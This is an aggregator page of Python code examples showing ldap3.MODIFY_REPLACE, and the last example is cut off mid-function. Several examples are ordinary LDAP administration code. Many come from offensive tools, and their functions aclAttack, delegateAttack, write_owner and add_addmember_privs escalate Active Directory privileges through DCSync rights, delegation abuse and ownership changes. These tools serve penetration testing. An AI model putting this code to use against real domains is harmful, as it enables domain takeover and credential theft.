Python ldap3.MODIFY_REPLACE Examples

The following are 22 code examples of ldap3.MODIFY_REPLACE(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module ldap3 , or try the search function .
Example #1
Source File: LDAPIdResolver.py    From privacyidea with GNU Affero General Public License v3.0 6 votes vote down vote up
def _create_ldap_modify_changes(self, attributes, uid):
        """
        Identifies if an LDAP attribute already exists and if the value needs to be updated, deleted or added.

        :param attributes: Attributes to be updated
        :type attributes: dict
        :param uid: The uid of the user object in the resolver
        :type uid: basestring
        :return: dict with attribute name as keys and values
        """
        modify_changes = {}
        uinfo = self.getUserInfo(uid)

        for fieldname, value in attributes.items():
            if value:
                if fieldname in uinfo:
                    modify_changes[fieldname] = [MODIFY_REPLACE, [value]]
                else:
                    modify_changes[fieldname] = [MODIFY_ADD, [value]]
            else:
                modify_changes[fieldname] = [MODIFY_DELETE, [value]]

        return modify_changes 
Example #2
Source File: restore.py    From CVE-2019-1040 with MIT License 5 votes vote down vote up
def remove_owner(ldapconnection, data):
        # Set SD flags to only query for owner
        controls = security_descriptor_control(sdflags=0x01)
        usersid = data['old_owner_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        if secDesc['OwnerSid'].formatCanonical() == usersid:
            print_m('%s is owned by the same user as before exploitation, skipping' % data['target_dn'])
            return True
        secDesc['OwnerSid'] = LDAP_SID()
        secDesc['OwnerSid'].fromCanonical(usersid)

        secdesc_data = secDesc.getData()
        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls)
        if res:
            print_o('Owner restore succesful')
            return True
        else:
            # Constraintintersection means we can't change the owner to this SID
            # TODO: investigate why this is and possible workarounds
            if ldapconnection.result['result'] == 19:
                print_f('Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid))
                # Treat this as a success
                return True
            raise RestoreException('Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result))) 
Example #3
Source File: post-setup-add-components.py    From community-edition-setup with MIT License 5 votes vote down vote up
def installRadius():

    tmp_dir = os.path.join(setupObj.staticFolder, 'radius', 'templates')
    radius_ldif_fp = os.path.join(tmp_dir, 'gluu_radius_server.ldif')

    setupObj.renderTemplateInOut(
                    os.path.join(radius_ldif_fp),
                    tmp_dir,
                    os.path.join(ces_dir, 'output'),
                    )

    setupObj.install_gluu_radius()

    setupObj.run([setupObj.cmd_chown, 'radius:gluu', os.path.join(setupObj.certFolder, 'gluu-radius.private-key.pem')])
    setupObj.run([setupObj.cmd_chmod, '660', os.path.join(setupObj.certFolder, 'gluu-radius.private-key.pem')])

    dn, oxAuthConfiguration = get_oxAuthConfiguration_ldap()

    oxAuthConfiguration['openidScopeBackwardCompatibility'] = True
    oxAuthConfiguration['legacyIdTokenClaims'] = True
    oxAuthConfiguration_js = json.dumps(oxAuthConfiguration, indent=2)

    ldap_conn.modify(
            dn,
            {"oxAuthConfDynamic": [ldap3.MODIFY_REPLACE, oxAuthConfiguration_js]}
            )

    ldap_conn.modify(
            'ou=configuration,o=gluu',
            {"gluuRadiusEnabled": [ldap3.MODIFY_REPLACE, 'true']}
            )

    ldap_conn.modify(
            'inum=B8FD-4C11,ou=scripts,o=gluu',
            {"oxEnabled": [ldap3.MODIFY_REPLACE, 'true']}
            ) 
Example #4
Source File: ldap.py    From lego with MIT License 5 votes vote down vote up
def change_password(self, uid, password_hash):
        dn = ",".join((f"uid={uid}", self.user_base))

        changes = {"userPassword": [(MODIFY_REPLACE, ["{CRYPT}" + password_hash])]}
        self.connection.modify(dn, changes) 
Example #5
Source File: ldap.py    From lego with MIT License 5 votes vote down vote up
def update_group_members(self, cn, members):
        dn = ",".join((f"cn={cn}", self.group_base))

        if members:
            changes = {"memberUid": [(MODIFY_REPLACE, members)]}
        else:
            changes = {"memberUid": [(MODIFY_DELETE, [])]}

        self.connection.modify(dn, changes) 
Example #6
Source File: restore.py    From CVE-2019-1040 with MIT License 5 votes vote down vote up
def remove_domain_sync(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

        entry = ldapconnection.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
            # these are the GUIDs of the get-changes and get-changes-all extended attributes
            if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \
               RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_i('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('Domain Sync privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #7
Source File: restore.py    From CVE-2019-1040 with MIT License 5 votes vote down vote up
def remove_addmember_privs(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            # Manual operation
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
            if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_i('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('AddMember privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #8
Source File: restore.py    From aclpwn.py with MIT License 5 votes vote down vote up
def remove_addmember_privs(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            # Manual operation
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
            if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('AddMember privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #9
Source File: restore.py    From aclpwn.py with MIT License 4 votes vote down vote up
def remove_domain_sync(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

        entry = ldapconnection.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
            # these are the GUIDs of the get-changes and get-changes-all extended attributes
            if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \
               RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('Domain Sync privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #10
Source File: ldap_utilities_set_password.py    From resilient-community-apps with MIT License 4 votes vote down vote up
def _ldap_utilities_set_password_function(self, event, *args, **kwargs):
        """Function: A function that allows you to set a new password for an LDAP entry given the entry's DN"""
        log = logging.getLogger(__name__)

        try:
            yield StatusMessage("Starting ldap_utilities_set_password")

            # Instansiate helper (which gets appconfigs from file)
            helper = LDAPUtilitiesHelper(self.options)
            yield StatusMessage("Appconfig Settings OK")
            
            # Get function inputs
            input_ldap_dn = helper.get_function_input(kwargs, "ldap_dn") # text (required)
            input_ldap_new_password = helper.get_function_input(kwargs, "ldap_new_password") # text (required)
            yield StatusMessage("Function Inputs OK")

            # Instansiate LDAP Server and Connection
            c = helper.get_ldap_connection()

            try:
              # Bind to the connection
              c.bind()
            except Exception as err:
              raise ValueError("Cannot connect to LDAP Server. Ensure credentials are correct\n Error: {0}".format(err))
            
            # Inform user
            msg = ""
            if helper.LDAP_IS_ACTIVE_DIRECTORY:
              msg = "Connected to {0}".format("Active Directory")
            else:
              msg = "Connected to {0}".format("LDAP Server")
            yield StatusMessage(msg)

            res = False
            
            try:
              yield StatusMessage("Attempting to change password")
              if helper.LDAP_IS_ACTIVE_DIRECTORY:
                res = c.extend.microsoft.modify_password(str(input_ldap_dn), input_ldap_new_password)
              else:
                res = c.modify(input_ldap_dn, {'userPassword': [(MODIFY_REPLACE, [input_ldap_new_password])]})

            except Exception:
              raise ValueError("Could not change password. Check input_ldap_dn and input_ldap_new_password are valid")

            finally:
              # Unbind connection
              c.unbind()

            results = {
                "success": res,
                "user_dn": input_ldap_dn
            }

            log.info("Completed")

            # Produce a FunctionResult with the results
            yield FunctionResult(results)
        except Exception:
            yield FunctionError() 
Example #11
Source File: ldapattack.py    From CVE-2019-1040 with MIT License 4 votes vote down vote up
def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.critical(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')
            config.set_priv(True)
            # Query the SD again to see what AD made of it
            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False 
Example #12
Source File: ldapattack.py    From CVE-2019-1040 with MIT License 4 votes vote down vote up
def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info('Delegate attack already performed for this computer, skipping')
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return 
Example #13
Source File: _ldap.py    From treadmill with Apache License 2.0 4 votes vote down vote up
def _diff_entries(old_entry, new_entry):
    """Diff the entries and produce a diff dictionary suitable for update."""
    # Adapted from python-ldap (http://www.python-ldap.org/) modlist
    # https://github.com/pyldap/pyldap/blob/master/Lib/ldap/modlist.py#L51
    diff = {}
    attrtype_lower_map = {}
    for attr in old_entry.keys():
        attrtype_lower_map[attr.lower()] = attr
    for attrtype in new_entry.keys():
        attrtype_lower = attrtype.lower()
        # Filter away null-strings
        new_values = [
            value
            for value in new_entry[attrtype]
            if value is not None
        ]
        if attrtype_lower in attrtype_lower_map:
            old_values = old_entry.get(attrtype_lower_map[attrtype_lower], [])
            old_values = [
                value
                for value in old_values
                if value is not None
            ]
            del attrtype_lower_map[attrtype_lower]
        else:
            old_values = []

        if not old_values and new_values:
            # Add a new attribute to entry
            diff.setdefault(attrtype, []).append(
                (ldap3.MODIFY_ADD, new_values)
            )
        elif old_values and new_values:
            # Replace existing attribute
            if _diff_attribute_values(old_values, new_values):
                diff.setdefault(attrtype, []).append(
                    (ldap3.MODIFY_REPLACE, new_values))
        elif old_values and not new_values:
            # Completely delete an existing attribute
            diff.setdefault(attrtype, []).append(
                (ldap3.MODIFY_DELETE, []))

    # Remove all attributes of old_entry which are not present
    # in new_entry at all
    for attr in attrtype_lower_map:
        attrtype = attrtype_lower_map[attr]
        diff.setdefault(attrtype, []).append((ldap3.MODIFY_DELETE, []))

    return diff 
Example #14
Source File: ldapattack.py    From Slackor with GNU General Public License v3.0 4 votes vote down vote up
def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')

            # Query the SD again to see what AD made of it
            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False 
Example #15
Source File: ldapattack.py    From Slackor with GNU General Public License v3.0 4 votes vote down vote up
def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info('Delegate attack already performed for this computer, skipping')
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return 
Example #16
Source File: ldapattack.py    From Exchange2domain with MIT License 4 votes vote down vote up
def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.critical(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')
            config.set_priv(True)
            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=[
                               'SAMAccountName', 'nTSecurityDescriptor'], controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False 
Example #17
Source File: action.py    From insightconnect-plugins with MIT License 4 votes vote down vote up
def run(self, params={}):
        conn = self.connection.conn
        dn = params.get('distinguished_name')
        dn = ADUtils.dn_normalize(dn)
        temp_list = ADUtils.dn_escape_and_split(dn)
        dc_list = [s for s in temp_list if 'DC' in s]
        dc = ','.join(dc_list)
        escaped_dn = ','.join(temp_list)

        pairs = ADUtils.find_parentheses_pairs(escaped_dn)
        # replace ( and ) when they are part of a name rather than a search parameter
        if pairs:
            for key, value in pairs.items():
                tempstring = escaped_dn
                if tempstring.find('=', key, value) == -1:
                    escaped_dn = escaped_dn[:value] + '\\29' + escaped_dn[value + 1:]
                    escaped_dn = escaped_dn[:key] + '\\28' + escaped_dn[key + 1:]

        self.logger.info(escaped_dn)

        conn.search(search_base=dc,
                    search_filter=f'(distinguishedName={escaped_dn})',
                    attributes=['userAccountControl']
                    )
        results = conn.response
        dn_test = [d['dn'] for d in results if 'dn' in d]
        try:
            dn_test[0]
        except Exception as ex:
            self.logger.error('The DN ' + dn + ' was not found')
            raise PluginException(cause='The DN was not found',
                                  assistance='The DN ' + dn + ' was not found') from ex
        user_list = [d["attributes"] for d in results if "attributes" in d]
        user_control = user_list[0]
        try:
            account_status = user_control['userAccountControl']
        except Exception as ex:
            self.logger.error('The DN ' + dn + ' is not a user')
            raise PluginException(cause='The DN is not a user',
                                  assistance='The DN ' + dn + ' is not a user') from ex
        user_account_flag = 2
        account_status = account_status & ~user_account_flag

        conn.modify(escaped_dn, {'userAccountControl': [(MODIFY_REPLACE, [account_status])]})
        result = conn.result
        output = result['description']

        if result['result'] == 0:
            return {'success': True}

        self.logger.error('failed: error message %s' % output)
        return {'success': False} 
Example #18
Source File: exploitation.py    From aclpwn.py with MIT License 4 votes vote down vote up
def write_owner(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for owner
    controls = security_descriptor_control(sdflags=0x01)
    group_sam = get_sam_name(group_bh_name)

    # Dictionary for restore data
    restoredata = {}

    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
    if secDesc['OwnerSid'].formatCanonical() == usersid:
        print_m('%s is already owned by %s, skipping' % (group_sam, user_sam))
        return True

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid
    restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical()

    # Modify the sid
    secDesc['OwnerSid'] = LDAP_SID()
    secDesc['OwnerSid'].fromCanonical(usersid)


    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Owner change successful')
        restoredata['success'] = True
        state.push_history('write_owner', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('write_owner', restoredata)
        raise ExploitException('Failed to change owner of group %s to %s: %s' % (dn, userdn, str(ldapconnection.result))) 
Example #19
Source File: exploitation.py    From aclpwn.py with MIT License 4 votes vote down vote up
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
